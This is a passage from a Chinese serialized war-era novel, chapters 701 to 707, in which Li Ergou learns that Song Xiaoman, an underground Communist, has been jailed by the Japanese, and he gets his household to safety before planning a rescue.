换成平日里,张二驴早就实话实说了,可今天这事太大,他心里没底,依旧不敢开口,只怯生生看着李二狗,一脸为难。 “狗哥,我说实话也行,你……你可千万稳住,别着急上火。” 就这一句铺垫,李二狗心里“咯噔”一下,悬着的心直接提到了嗓子眼上,慌乱和不安瞬间袭来。 他再也耐不住性子,往前跨出一步,作势就要抬脚踹过去,粗声骂道:“你他娘的再敢废话,老子一脚踢死你!” 张二驴见李二狗真动了火气,吓得一哆嗦,再也不敢隐瞒,慌忙低下头,急急忙忙吐出实情。“狗哥,是三奶奶!三奶奶已经快十天没回过胡家大院了!院里里外外,压根见不到人影!” 听闻此言,李二狗整个人瞬间僵在原地,心头猛地一震。 他先是吃惊,脑子里一片空白。 可他毕竟是久经风浪、沉得住气的人,不过几秒钟的功夫,他便硬生生压下了心头的慌乱。 他心里清楚,院里所有人都只当宋小曼是一个养在深院的妇人,十天不归便是天大的事情。 可只有李二狗知道,宋小曼是共产党员,她此番回来有自己的使命,做的都是一些不能告人的险事,行踪向来飘忽不定,常常外出许久不露面。 寻常人看着反常的事,放在宋小曼身上,未必就是遭遇了不测。 可哪怕心里这般宽慰自己,李二狗依旧不敢彻底放心。 乱世茫茫,日军四处搜捕抗日分子,处处都是陷阱凶险,十天杳无音信,实在太过蹊跷。 他定了定神,沉声追问道:“这段日子,你们就没派人出去找找吗?城里城外,就没打探到半点消息吗?” “派人找了!”张二驴急得直搓手,满脸无奈,“前后派了四五波兄弟,白天夜里分头出去打听,城里街巷、城外村镇、周边山头全都找遍了,半点踪迹都没有,三奶奶就跟人间蒸发了一样,一丁点消息都没有!” 听完这话,李二狗脸色愈发凝重。 底下这些兄弟,都是看家护院的粗人,只能打听一些街头巷尾的闲话,触及不到半点深层的风声。 宋小曼若是真出了事,靠他们打听,压根打听不出任何眉目。 想来想去,能摸清内情的,也就只有秀才了。 第702章 循序渐进 清风集团在江东县城有安排的眼线,定然知道一些旁人不知道的内情。 他当即对着张二驴吩咐道:“你现在立马动身去清风山,传我的口信,让秀才、陈老三、望冬三人,明天上午七点,准时来家里见我。” “明白!狗哥!我马上就去!” 张二驴知道兹事体大,他不敢耽误,应声之后,转身急匆匆出了门。 四下寂静无声,看着张二驴走远的背影,李二狗独自站在原地,心里五味杂陈。 他这半辈子混乱世,闯江湖、拉队伍、做买卖,见惯了生死别离,早就练就了一副铁石心肠,遇事向来稳如泰山。 可唯独对身边自己认下的人,他从来都是心软、重情、放不下。 宋小曼性子倔强,现在又从事危险的地下工作,他最是放心不下。 胡思乱想了一会儿,他强行让自己冷静下来。 此刻多想无用,只能等明日秀才等人赶过来,问清实情,再做打算。 整理好脸上的神色,他抬脚往李素文的小院走去。 十几日未见,两两相思。 久别重逢,自然是百般温存、万般亲昵。 李二狗常年风里来雨里去,身子骨硬朗结实,纵使连日赶路奔波,也不觉半点疲累,只想着好好陪陪独守空院的李素文,弥补这些日子的缺席。 李素文心里透亮,清楚男人在外闯荡不易。 上海十里洋场,灯红酒绿,应酬繁杂,定然少不了各色人情纠葛。 可她从来不是一个争风吃醋、胡乱猜忌的性子,李二狗不说的事情,她从不多问半句,从不给他添堵为难,只安安静静陪着他,温柔体贴,事事周全。 可她越是这般懂事、这般体谅、这般毫无怨言,李二狗心里就越是愧疚不安。 他在外头身不由己,亏欠李素文的陪伴实在太多。 很多亏欠没法用言语来弥补,只能在朝夕相处里,多疼她、多顺着她,用自己强健的身体,稍稍填补心里的亏欠。 “二狗,抱紧我!” “二狗,轻一点!” “二狗,我还要!” …… 一夜安然度过。 次日清晨,天刚刚亮,秀才、陈老三、望冬三人准时抵达李二狗在仙人洞镇的家中,站在院中听候吩咐。 三人神色肃穆,都是一副心事重重的样子。 李二狗端坐在院中的石凳上,面色沉静,看似波澜不惊,实则心底早已焦灼万分,他一夜都没睡踏实。 可他懂得稳住军心的道理,越是急事,越不能乱了分寸,不能让底下兄弟看出自己的慌乱。 于是他压下满心焦灼,没有直奔宋小曼的事,先按捺着性子问道:“秀才,这段日子,有没有人上门,谈咱们队伍收编的事情?” 秀才抬头看了他一眼,心里门儿清。 李二狗向来沉得住气,越是心里急,越是懂得藏事。 他知道李二狗此刻最想知道什么,所以他没有绕弯子,当即上前一步,神色凝重地说道:“狗哥,出大事了,宋小曼被日本人抓了!” 话刚落地,一旁急躁的望冬瞬间绷不住了,她急得满脸通红,慌忙开口恳求道:“狗哥!你快想想办法吧!三奶奶人那么好,绝对不能落在日本人手里!咱们必须把人救出来啊!” 这一刻,李二狗再也绷不住了,他的脑袋轰然一响,浑身气血瞬间翻涌,整个人彻底愣在了原地。 他昨夜彻夜难眠,猜想过无数结果,猜想她隐匿行踪、猜想她外出办事,唯独从来不敢往被捕这件事上多想。 他太了解日本人行事风格,他们痛恨共产党,抓捕之后从来没有仁慈可言,手段狠辣残酷,不留半点余地。 宋小曼一个女子,又生得容貌出众、身姿窈窕,这般落入日本鬼子的监牢之中,其中苦楚、凶险,他想都不敢想,十有八九是凶多吉少。 一瞬间,之前所有的冷静、所有的沉稳尽数崩塌,满心满眼都是担心、心疼和焦急。 他压着嗓子,声音微微发颤,急促追问道:“她到底什么时候被抓的?你们从哪听来的消息?具体实情知不知道?” “我们也是三天前才从外头零散风声里听到消息,具体被捕时日、关押地点、因为何事被抓,一概没查清楚,消息太零碎,根本串不起来。” 听闻此话,李二狗心里彻底沉到了谷底。 这一刻,什么队伍收编、什么生意布局、什么人脉经营,所有的大事小事,通通都变得不值一提。 他这辈子做人,最讲究一个情义二字。 兄弟跟着他,他拼死护兄弟;女人跟着他,他拼死护家人。 宋小曼如今身陷囹圄,他若是贪生怕死、袖手旁观,那他李二狗这辈子就白活了,也对不起跟着自己的人。 救人! 无论付出什么代价,必须救人! 这是他心底唯一的念头,半点动摇没有。 他当即猛地站起身,沉声吩咐道:“你们明日这个时辰,还来此处等我消息,我现在立刻动身,赶往县城!” 陈老三一听李二狗要孤身独闯县城监狱去救人,当即毫不犹豫站出来说道:“狗哥,县城日本人把守森严,太凶险了!我跟你一起去,好歹有个照应!” 危难见人心,板荡识忠臣。 紧要关头,陈老三的忠心坦荡,让李二狗心里一阵滚烫。 秀才也立马反应过来,连忙请令道:“狗哥!我即刻回去集结特别行动队所有兄弟,整装待命,随时听候你的调遣!只要你一声令下,无论是上刀山还是下油锅,我们绝不含糊!” 看着兄弟们誓死追随的模样,李二狗心里暖暖的,但脑子却十分清醒。 他心里比谁都明白,县城监狱是日本人的重中之重,重兵层层把守,岗哨密布、戒备森严。凭着手里这些兄弟,若是贸然硬闯劫狱,根本是以卵击石,只会白白搭上一众兄弟的性命。 他重情重义,要救宋小曼,更要护着手下这帮出生入死的兄弟。 他绝不会为了一己私情,让跟着自己的兄弟们白白送命。 第703章 红颜祸水 李二狗当即抬手制止了大家的冲动,他语气沉稳地说道:“大家都不要轻举妄动,老老实实在集团待着。我先一个人去趟县城,先探清虚实再说。你们现在只要稳住队伍就是大功一件,老老实实等我回来!” 众人见李二狗态度坚决,便不再坚持。 “狗哥,那你小心点!” 望冬几乎要急哭了。 李二狗微微一笑,露出自己惯有的表情。 “放心吧,我心里有数!” 李二狗不敢再耽搁片刻,他转身快步出了院门,一路疾驰,直奔江东县城。 一路奔波,抵达县城之后,他没有丝毫停歇,径直赶往县政府,去找结义兄弟孙竹刚。 现如今在整个江东地界,唯有孙竹刚身居要职,最得日本人信任。 他周璇于各色人等之间,消息最灵通、人脉最广,也唯有他能摸清日军监牢里的情况。 孙竹刚见到神色匆忙的李二狗,满脸意外,随口寒暄道:“二狗,你啥时候从上海回来的?” 李二狗此刻满心焦灼,压根没有心思应付客套,他反手紧闭房门,压低声音直奔主题。 “大哥,我问你,最近日本人是不是抓了一个女共党?” 孙竹刚闻言,瞬间满脸错愕,心里满是惊疑。 李二狗刚从上海回来,按道理他根本不可能知晓县里的这些事情,怎么一上来就打探女共党的情况? 他瞬间就察觉到不对劲,暗自揣测李二狗定然和这个被捕的女共党关系匪浅。 他面上不动声色,故意试探道:“二狗,日本人这段日子抓的共党不少,女的也有好几个,你说的是哪一个?” 李二狗目光沉静,心里快速分析着孙竹刚的心思。 他和孙竹刚结为同盟兄弟,祸福与共,对方没有理由刻意欺瞒自己。 想来要么是他真的不知详情,要么是刻意在试探自己与宋小曼的关系。 时间紧迫,他没有绕弯子,直接报出了她的名字:“她叫宋小曼。” 孙竹刚低声默念了一遍名字,仔细回想了一番近期被捕人员的样貌,脑子里有了一个女人的形象,他随即抬头确认道:“她是不是皮肤很白净?鹅蛋脸、樱桃口、身高在一米七左右,模样格外周正漂亮?” “对!就是她!”李二狗的声音不自觉高了许多,他急忙追问道,“她现在怎么样了?关在什么地方?有没有受刑吃苦?” 孙竹刚看着李二狗心急如焚的模样,心里更加笃定,李二狗对这个女人用情极深,绝不是普通交情。 红颜祸水,古今中外有多少英雄好汉毁在漂亮女人手里! 李二狗平时如此稳重的一个人,如今因为这个女人,此刻却完全失去了应有的理智。 这实在是太危险了! 一旦他鲁莽从事,吃亏的不仅仅是他自己这么简单。 孙竹刚作为李二狗的大哥,不得不替他稳住局面,他郑重地劝诫道:“二狗,你先稳住心神,别乱了阵脚。我先问你一句实话,你和她到底是什么关系?你可得想清楚,现下日本人最恨共产党,沾上这个干系,那就是杀头的大罪,稍有不慎,你我都要人头落地,半点玩笑开不得。” 被孙竹刚一语点醒,李二狗方才察觉自己刚才实在是太过急躁,彻底失了平日的沉稳。 每临大事有静气,李二狗完全忘记了自己的座右铭。 他深吸一口粗气,强行压下心底翻涌的万千焦虑,坦诚地说道:“大哥,我不瞒你,她不是外人,是胡家大院的三奶奶,我必须得救她出来。” 孙竹刚这才恍然大悟。 自从胡士高死后,李二狗不仅接管了整个胡家大院,连他的几个姨太太也纷纷被他征服。 这个宋小曼肯定是李二狗的相好,怪不得他如此着急。 孙竹刚想了想,满脸凝重地说道:“我懂了,二狗,但我丑话说在前头,这事风险极大,牵扯极广,一步走错,满盘皆输,你一定要三思而行啊。” 李二狗根本没有半点退缩,哪怕是龙潭虎穴,他也必须去闯一闯。 “大哥,我必须救她。”他看了一眼孙竹刚,特意把话挑明:“大哥,你放心,这件事从头到尾我一人扛着,出了事也绝对不会连累你半分。” 这话一出,反倒让孙竹刚脸上有些挂不住,心里不免生出几分不悦。 李二狗是他的结义兄弟,又是他极力向日本人举荐的人。 如果李二狗出了事,他怎么可能置身事外? 其实两人早已是一根绳上的蚂蚱,一荣俱荣、一损俱损,他没得选! 孙竹刚当即沉声道:“二狗,你这话说得太见外了,大哥我是那种胆小怕事的人吗?我并不是怕被被你牵连,我是怕你因为一时意气用事,把自己的性命白白搭进去还救不出人来!你我兄弟一场,我不可能眼睁睁看着你去送死啊。” 孙竹刚的话并不能令李二狗完全相信,但有些话还是不能说的太明白,否则大家脸上都过不去。 他连忙解释道:“大哥,刚刚是兄弟失言了,你别往心里去。你最了解我的性子,我从来不是一个鲁莽冲动之人,凡事我都会谋定后动,绝不会乱来。” 孙竹刚知晓他的性子,思虑再三,终究还是松了口。 “二狗,咱们是兄弟,我当然相信你。我这就去打探她的消息,你先安心在这里等我回来,等摸清全部情况之后,咱们再慢慢合计怎么救人。” 李二狗悬着的一颗心稍稍落地,他低声拱手道:“那就辛苦大哥费心了,日后定当厚报。” 孙竹刚摆了摆手,此刻他心里也是纠结万分。 他知道,即使自己不参与救人,一旦李二狗出事,自己也难逃干系。 但李二狗出事,对自己有百害而无一利。 想在江东站稳脚跟,不仅要依靠日本人,还得依靠李二狗,两者缺一不可! “都是自己兄弟,这是我应该做的!” 孙竹刚说完,匆匆离开了办公室。 李二狗则有些心神不宁! 第704章 一定要救她 眼看着天色一点点黯淡下来,整条县城的街道都彻底安静下来,静得能听清自己的心跳声。 街上的日伪岗哨点亮了马灯,光影忽明忽暗,照着冷冷清清的街巷。 乱世里的天黑,和平日不同,处处都透着一股压抑,让人心里堵得慌。 李二狗就一直坐在孙竹刚的办公室里,看似安安静静等着,实则内心汹涌澎湃。 从下午等到天黑,他虽然一句话没说,可心里一刻也没有停歇过。 旁人看着他坐着不动,神色平静,只有他自己清楚,心口那块地方一直揪着。 脑子里翻来覆去,全是宋小曼的影子。 他想她平日里的样子,看着清清淡淡,不爱多言,遇事却从来不肯低头。 她待在胡家大院多年,从不求名分,从不争利益,暗地里却干着如此危险的事情。 李二狗真的想不明白,她一个柔弱的女子,为何一加入共产党就变得如此刚强? 信仰的力量真的如此强大吗?真的可以重塑一个人吗? 如今她落在日本人手里,一想到她孤零零一个人在牢里受罪,他李二狗的心里就跟扎了针一样难受。 他这辈子混迹江湖与官场,不怕吃苦,不怕拼命,更不怕别人算计,唯独放不下身边的这些女人,尤其是李素文和宋小曼这两个女人,最是令他意难平。 李素文温顺柔软,一心一意守着家,守着他,这辈子没做过半点错事、半点出格的事,只图安稳度日,可自己却到处招花捻草,她都默默地承受着,从不流露出半分怨言。 宋小曼外表看着清冷,骨子里最硬,最能扛事,也最能扛罪。 这两个女人,各有各的好,也各有各让他心疼的地方。 得不到的才是最好的,宋小曼对李二狗疏离的态度更加令他抓狂。 他知道,宋小曼的信仰不允许她与自己有深入的交往,他们只能做朋友,甚至连朋友都做不成。 除非李二狗愿意为她放弃其他女人,但李二狗做不到! 他无法想象,李素文、于兰芝、静雯等人离开了自己,她们将如何生活下去。 李二狗心里乱极了。 他越是等候,心里越是笃定,这一次,无论付出多大的代价,他都不能丢下宋小曼。 终于,屋外传来一阵皮鞋的脚步声,孙竹刚匆匆推门进来。 夜里风凉,他肩头带着夜色的寒气,脸上神色阴沉得厉害,一看就不是什么好消息。 李二狗当即站起身,没敢大喘气,低声问道:“大哥,怎么样?查到她的消息了吗?” 他看着孙竹刚这副凝重的模样,心里已经提前做好了最坏的打算。 心里那点侥幸,一点点沉了下去。 孙竹刚叹了一口气,缓缓开口道:“确实没错,被抓的几个女共党里,有一个叫宋小曼的,她现在人被关在日军宪兵队的大牢里。” 听到日军宪兵队大牢这几个字,李二狗身子微微一僵。 他比谁都清楚那里是什么地方。 寻常的牢房,关押的都是普通百姓、小偷小摸或是普通闹事的人。 可日军宪兵队的大牢不一样,那是日本人专门关押重犯和政治犯的地方。 在整个江东地界,那里看守最严、刑罚最毒。 里外多层岗哨,日夜轮守,日本人亲自把控,伪军辅助巡查,半点空子都不留。 但凡进去的人,十有八九出不来。 想从日军宪兵队大牢救人,说句实话,跟主动找死没什么两样。 李二狗顾不上想前路到底有多么凶险,他心里最着急的是宋小曼目前的处境。 他连忙追问,声音里都带着一丝颤抖。 “大哥,她现在人怎么样?在牢里有没有出事?” 孙竹刚又是一声长叹,神色里带着几分不忍。 “进了那个地方,哪有不受罪的?日本人的手段,你我都清楚。只是这女人着实硬气,受了不少苦头,一句口供都没吐。从头到尾,没认自己的身份,没供自己的同伴,更是半句没提胡家大院,也半句没提你。” 短短几句话,狠狠地砸在李二狗心坎上。 一瞬间,他心口发酸,疼得几乎喘不上气。 日本人牢房里的那些刑罚,他耳闻已久。 铁刑、鞭刑、水刑,老虎凳、辣椒水,样样都是往人命根子上折腾。 平日里无论多么壮实的汉子,只要进去,一轮酷刑下来,多半都扛不住,哭着招供、胡乱攀咬的比比皆是。 宋小曼就是一个女人,身子本就柔弱,平日里看着清瘦单薄,哪里熬得住这般折腾? 可她却硬是咬着牙扛住了。 她不招供,不牵累旁人,不扯出胡家大院,更不牵连自己。 也许她心里清楚,只要她吐出半个字,整个胡家大院,所有跟着李二狗的人,都会跟着遭殃。 这份情义,这份隐忍,李二狗心里清清楚楚。 他沉默了片刻,眼神变得异常坚定。 “大哥,我一定要救她出来。不管多难,我都要救。” 孙竹刚看着他执拗的样子,轻轻地点了点头,紧跟着又是一声长长的叹息。 “二狗,我知道你重情义,可这件事真的太难了。日军宪兵队大牢防守非常严密,根本找不到半点破绽。想进去救人,真的得从长计议,万万不能莽撞啊。” “我知道难。”李二狗抬眼看了一眼孙竹刚,语气里没有半点松动,“可再难我也要救!就算前面是刀山火海,我也得闯一趟。她在里面替胡家大院扛着事,我不能在外面装作看不见。” 李二狗这辈子做人,讲究的就是良心和情义。 别人替你担了风险,替你受了罪,你若是转头缩头自保,这辈子永远抬不起头。 对于李二狗的这番慷慨激昂的言辞,孙竹刚的确有些感动,他确实是一个讲义气的人。 就是因为李二狗讲义气,孙竹刚才和他结为兄弟。 可李二狗没想明白的是,如果不是因为宋小曼是共产党,又怎么会连累到胡家大院? 也许不是李二狗想不明白,是他不想想明白,他只想救出宋小曼。 第705章 乱了心神 孙竹刚伸手拍了拍李二狗的肩膀,语气里满是担忧。 “兄弟,大哥我懂你的心思。但你可千万不能冲动,一冲动,就是满盘皆输啊。” “大哥,我意已决。”李二狗语气沉稳,态度决绝,“你放心,我心里有数,绝不会连累到你头上。” 孙竹刚听着这话,心里复杂得很。 他心里确实怕,怕这事闹大,牵扯到自己头上,丢官丢命,家宅不保。 可他也清楚李二狗的性子。 这人一旦认准的事情,谁劝都没用,八头牛都拉不回来。 与其多说无用,不如好好帮他想办法,他俩本就是一条船上的人。 沉默片刻,孙竹刚缓缓开口道:“说实话,这宋小曼,的确是了不起。她若是在牢里扛不住,受刑不过,把自己和胡家大院的关系招出来,日本人绝不会善罢甘休。到时候整个胡家大院都会被翻个底朝天,所有人都会被抓去隔离审查,鸡犬不宁。” 这话,一下子点醒了李二狗。 李二狗之前只想着心疼宋小曼在宪兵队的大牢里受罪,此刻才算彻底把其中的利害捋得透亮。 宋小曼闭口不言,保住的不只是自己,更是胡家大院上上下下几十条人命。 他相信宋小曼的人品,相信她的骨气。 可人心终究是肉长的,不是铁打的,日本人的酷刑,层层叠加,日夜折磨,谁也不敢保证她能一直扛下去。 多拖一天,就多一分危险。 而且自己一旦动手救人,不管成败,必然惊动日本人,只要行动暴露,胡家大院所有人都要被牵连。 想到这里,李二狗心里瞬间有了决断。 他不能拿大院里所有人的性命去赌! 必须提前安置,提前避险,把风险降到最低。 他抬眼看向孙竹刚,语气郑重地说道:“大哥,我需要日军宪兵队大牢的地形图,还有日夜守卫换岗的全部情况,你能不能想办法弄到?” 孙竹刚低头琢磨了一阵,缓缓点头道:“我试试看吧,监狱那边我还有一些熟人,我想办法疏通打探,无非是多花些钱罢了,明天中午之前,我给你准信。” “好,那就多谢大哥了,”李二狗拱手道,“明天中午我再来找你,我先回胡家大院安排一些事情。” 说完,他不再多停留,转身离开了县政府,连夜赶回胡家大院。 一路赶回胡家大院,夜色已经彻底深透。 大院里灯火点点,一片安静祥和,看着和平日里并没有什么两样。 可李二狗心里清楚,这份安稳,随时都会碎掉。 他第一时间找到李素文。 看着眼前这个温顺安然的女人,他心里又是一阵发酸。 李素文这辈子从没有害过人、从没有惹过事,老老实实守着院子、守着他,到头来却要跟着担惊受怕。 他不忍心,却也没有办法。 乱世里想要活命,从来由不得自己心软。 他强压下心里的酸涩,尽量让自己的语气平稳一些。 “素文,你赶紧收拾一点随身的东西,我让人送你去清风农场,先跟着望冬住一阵子。” 李素文一听这话,心里咯噔一下。 她跟着李二狗这么久,最懂他的性子。 若是寻常的小事,他绝不会让自己离开胡家大院,更不会安排她去清风农场躲避。 她心里瞬间明白了,定然是大院里出了天大的事情。 她抬眼看着李二狗,眼神里满是不安。 “二狗,你快告诉我,到底出了什么事情?好好的,为什么要让我走?” 李二狗看着她担忧的模样,心里犹豫再三,终究还是选择了隐瞒。 宋小曼的真实身份和被日本人逮捕的事情,实在太要命了。 李素文本分胆小,心思又单纯,知道的太多,只会日夜惶恐,徒增危险。 有些黑暗、有些凶险,他一个人扛就够了,没必要让自己的女人跟着担惊受怕。 他轻声安抚道:“大院里出了一点状况,风声不太好。我怕日本人迟早会找上胡家大院,你先出去避一避,等风头过去,我再接你回来。” 李素文紧紧盯着他,轻声问道:“那你呢?你跟不跟我一起走?” 李二狗摇了摇头。 “我不能走。大院里还有很多事,我必须留下来处理。” 一听他不跟着走,李素文瞬间急了,眼圈一下子红了。 “你不走,我也不走!我哪里都不去,我就在这里陪着你。” 她心里清楚,越是危险的时候,越是不能分开。她怕自己这一走,就再也见不到他了。 连日来,李二狗心里积压的焦虑、担忧和压力,再加上李素文执拗不肯走,一瞬间冲垮了他的耐心。 他本就为宋小曼的事焦头烂额,心里压着千斤的重担,此刻再也压不住自己的火气,声音陡然高了几分。 “别说了,你必须走!现在就收拾,天一亮就离开!” 这是李二狗这辈子,第一次对李素文发这么大的火。 以往不管什么时候,他永远温和、永远迁就、永远让着她。 李素文当场就懵了,眼泪唰地一下落了下来,心里委屈得不行,身子都有些微微发抖。 看着她落泪的模样,李二狗心里瞬间就后悔了。 他哪里舍得凶她?! 所有的火气,不是冲着她,是冲着这个乱世,冲着可恶的日本鬼子,冲着这无路可走的局面。 中国人,在自己的土地上,被一群外国人逼得走投无路! 这是一个怎样的国家啊! 李二狗立马软了语气,他上前一步,伸手紧紧地把李素文抱进怀里,声音放得温柔至极。 “对不起,素文,是我不好,我不该对你发脾气,我最近心里事太多了,乱了心神,委屈你了,别哭了好不好?是我错了,乖。” 他轻轻地拍着她的后背,慢慢安抚着。 “但你真的必须走!留在大院,太危险了!我不能让你出半点事。你乖乖去山上躲一阵子,等我把这里的事情处理完了,立刻就去找你,好不好?” 李素文趴在他怀里,哭得更厉害了。 第706章 用人之道 此时,李素文不是觉得委屈,她是害怕,非常害怕。 她太了解李二狗了,能让他这般失态、这般紧张的,定然是九死一生的大事。 她怕他出事,怕他再也回不来,怕自己再也见不到他。 李二狗这个男人虽然有些花心,但对自己是真的好,这辈子她已经认定这个男人了。 他如果不在了,李素文也绝不会偷生。 她哽咽着轻声开口说道:“二狗,你一定要答应我,你必须平平安安的,千万不能有事,我不能没有你。” “我答应你。”李二狗抱着她,认真地说道:“素文,我答应你,我一定会好好活着,过几天就去找你。” 安抚好李素文,看着她默默转身去收拾东西,李二狗暂时压下心中所有的柔情,转身去找张二驴。 大院里的其他人还需要安置疏散,必须尽快安排妥当。 这也是他多年来的用人之道。 他手下养人,从来不是勉强留人,更不是在危难之时逼着别人替自己挡祸。 有福的时候,他从不亏待兄弟和女人。 有祸的时候,他也从不拖累无辜众人。 张二驴一看见李二狗凝重的脸色,心里就猜出了七八分。 他跟着李二狗这么长时间,大院里但凡出现什么风吹草动,最先能察觉的就是他。 他压低声音问道:“狗哥,是不是三奶奶她出事了?” 张二驴人不如其名,他叫二驴,可并不是驴脑子。 李二狗看了他一眼,既没有承认,也没有否认。 宋小曼的身份太过机密,牵连太大,知道的人越少越安全。 哪怕是最信任的张二驴,也不能多说半句。 “二驴,这事你别多问,也别多猜,只管照着我的吩咐做事就行。” 张二驴立马收敛神色,郑重点了点头。 张二驴向来行事原则只有一条,李二狗指东,他不向西,李二狗让他撵狗,他绝不赶鸡。 李二狗缓缓开口安排道:“你去告诉你家念秋,让她马上收拾东西,陪着你素文姐一起去清风山,陪着住一阵子,务必保护好她的安全。” 张二驴很感动,危难关头,李二狗还能想着安顿好自己的媳妇,这样的领导怎能不让自己为他拼命。 李二狗顿了顿,继续往下安排,他条理清晰,尽显常年用人的格局。 “明天一早,你亲自送她们上清风山找望冬。” 张二驴点了点头,能让李二狗把自己的女人送到清风山避难,想来肯定发生了什么大事。 难道宋小曼真的出事了? 他很想问李二狗到底出了什么事,但还是忍住了。 李二狗不主动说,他便不主动问,这是这些年他们之间的默契。 李二狗接着安排道:“二驴,大院里所有伙计丫鬟、杂役,除了看家护院的那些兄弟,其余所有人,每人发十块大洋,让他们暂时离开大院去避风头的。等什么时候风头过了,想回来的,随时可以回来,大院里永远为他们留好位置。” 李二狗做事,从来不拿捏人,不强留人,全凭个人意愿。 乱世里求生存,每个人都有家人老小,没人活该替别人承担风险。 危难当头,愿意走的,他不责怪,还发给他们路费,已经做到仁至义尽。 想通这一点,他接着又补充了一句,把人心拿捏得稳稳当当。 “包括护院的那些兄弟也是一样。若是有人心里害怕,不愿意留在大院里担风险,照样发给十块大洋,他们所有人都来去自由,我绝不勉强任何人。” 话说至此,他微微停顿了一下,眼神里异常沉稳。 “但凡愿意留下来,愿意守着大院,愿意跟着咱们扛过这一关的,每人先发二十块大洋,等后续安稳了,另有重赏。” 这就是李二狗的用人之道。 他从不靠情义去绑架别人,也不靠身份去压制别人。 他懂得人心,懂得乱世里普通人的贪和怕。 人人都惜命,人人都想安稳。 他不勉强、不逼迫,也不画大饼。 愿意走的,给钱放行,保全情分。 愿意留的,重金相待,恩义并重。 跟着他的人,舒心、踏实。 不跟着他的人,也念他的好,不结仇、不结怨。 危难之际,最能显人心,也最能显格局。 一边是对两个女人掏心掏肺的真情,一边是对手下兄弟周全厚道的用人本心。 乱世浮沉,李二狗能走到今天,不 靠狠,不是靠诈,靠的就是这份重情重义、待人坦荡和处事周全。 哪怕眼下前方的路是万丈深渊,他依旧想护住他该保护的人,善待该善待的人,守住自己的本心。 张二驴有些伤感,听着李二狗的安排,好像在安排后事一般,难道胡家大院真的要分崩离析吗? 这些年,他跟着李二狗吃香的喝辣的,李二狗还给自己说了一房媳妇。 自己如今的一切都是李二狗给的,他早已把自己的一切交给了李二狗。 他拍着胸脯保证道:“狗哥,你放心,哪怕所有人都走了,我也会留下来陪你!” 李二狗听后很感动,张二驴虽然身上功夫差一些,但忠心绝不比陈老三差。 “二驴,你可想好了,留下来可能会性命不保!你如果想走,我也绝不会埋怨你,别人发十块大洋,给你发一百!” 张二驴一听急了,自己对李二狗掏心掏肺,可李二狗却还怀疑他的忠诚。 “狗哥,你看不起谁呢?脑袋掉了碗大个疤,我张二驴绝不是贪生怕死,忘恩负义之人!” 其实李二狗早就断定张二驴不会走,不然也不会把念秋送到清风山避难,但该说的话他还是要说。 他拍了拍张二驴的肩膀,赞许道:“二驴,好兄弟,哥没有看错人!” “嘿嘿,狗哥,我张二驴没有多大能耐,也不想升官发财,只想跟着你一辈子。” 李二狗笑道:“你狗日的说这话,好像要嫁给我似的,老子可不喜欢男人。好了,快去安排吧,明天一早出发。” 张二驴领命而去,李二狗回到家中,临别之际,他和李素文还有爱要做。 第707章 我们一起扛 第二天一大早,天刚蒙蒙透亮,晨雾还笼罩着整个胡家大院,四下清冷静谧。 张二驴早早套好了马车,赶车护送着李素文和念秋,一路往清风农场赶去。 山路颠簸,路途不近,他路上不敢耽搁半点时辰,稳稳当当地将两人交给望冬照拂之后才马不停蹄地折返回胡家大院。 他心里一直记挂着大院里的事,记挂着李二狗昨夜的安排,生怕大院里闹出什么乱子。 等他风尘仆仆赶回大院,双脚刚刚踏进大门时,就看见大堂前围满了人。 院里的丫鬟、杂役、帮工,上上下下几十号人,全都聚在一处,没人收拾行李,没人打算动身离去,一个个脸上满是执拗和恳切。 这情形,和李二狗昨夜预料的分毫不差。 他执掌胡家大院日久,待人宽厚、处事公道,从不苛待下人,从不克扣月钱,不随意责罚旁人。 乱世里头,多少大户人家的下人动辄被打骂驱逐、衣食无着,唯独胡家大院安稳太平,待遇厚道,把一众底层人当人看。 大院里这些人,在这里生活多年,早就把胡家大院当成了他们唯一的家。 他们心里念着李二狗的好,感念他的恩情,压根没人愿意在危难时刻抽身离去,丢下他独自扛事。 众人围在大堂门前,你一言我一语,声音此起彼伏,满是赤诚。 “李管家,我们不走!死也不走!” “我爹生前就在胡家大院干活,我生下来就在胡家大院,早就离不开胡家大院了!” “即使有天大的事我们一起扛,你千万别赶我们走啊!” “李管家,就让我们留下来吧!真要出事,我们陪着大院一起扛!” “就算真有祸事,我也死在胡家大院,绝不独自逃命!” …… 一声声恳切的呼喊,回荡在李二狗耳边,格外动人。 这些底层普通人根本不懂什么大道理,他们只知道谁待自己好,便死心塌地跟着谁,危难之时绝不背弃。 张二驴看着眼前密密麻麻的人群,听着众人七嘴八舌的哭诉挽留,一时间手足无措。 他跟着李二狗做事,擅长跑腿值守、带人巡查,却不擅长安抚人心,处置这种场面。 众人情绪激动、心意坚决,他半点法子都没有,只能站在一旁,转头看向李二狗,满脸为难。 “狗哥,这怎么办啊?大家伙都铁了心,没有一个愿意走的。” 李二狗神色平静,脸上没有半分意外,自始至终显得从容淡定。 从昨夜决定疏散众人开始,他就料到了这个场面。 他在胡家大院立足这么久,靠的从来不是威压管束,而是实打实的人心积攒。 平日里他厚待众人,危难之时,众人自然愿意生死相随。 这份人心,是他多年一点一滴攒下来的威望,绝非一时半刻能够撼动。 他对着张二驴轻轻点了点头,没有说话,抬步径直穿过人群,走到大堂正中央的空地上。 就在他脚步落下的那一刻,喧闹嘈杂的人群,瞬间安静了下来。 方才此起彼伏的呼喊声、哭诉声,顷刻间消失得无影无踪。 上上下下几十号人,全都下意识地闭了嘴,目光齐齐落在李二狗身上,静静伫立等候,等着他开口发话。 这便是李二狗扎根胡家大院多年,一手攒下的绝对威望。 无需呵斥,无需施压,只要他站在这里,所有人都会本能地绝对服从。 院里无论老幼尊卑,没人敢违逆他的意思,没人敢在他面前放肆分毫。 李二狗环视一圈眼前的众人,看着一张张质朴恳切而又满是执拗的面孔,眼底带着几分温和,语气沉稳,他缓缓开口道:“大家伙的心思,我心里都清楚,也真心感念大家的情义。” 他声音不高,却字字清晰,稳稳地落在每个人的耳朵里,让人听了心里觉得特别踏实。 “想来是二驴昨天传话没给大家说透彻,让大家误会了。我今日安排大家暂时离开,不是要赶你们走,更不是嫌弃大家。只是眼下院里突发变故,外头有人寻仇找麻烦,我怕祸事牵连到你们。” “我们不怕牵连!” “对,不怕牵连!” “有事大家一起扛!” “打死也不走!” …… 李二狗向人群挥了挥手,顿时又安静下来。 “我只是让大家暂时出去避一段时日,等我把外头的恩怨摆平,风波彻底平息之后,胡家大院的大门,永远为大家敞开。愿意回来的,随时都能回来,这里永远是你们的落脚地。” 李二狗一番话坦诚真挚,没有半分虚言,瞬间抚平了众人心里的委屈和不安。 可众人依旧不肯松口,心底的执念半点未减。 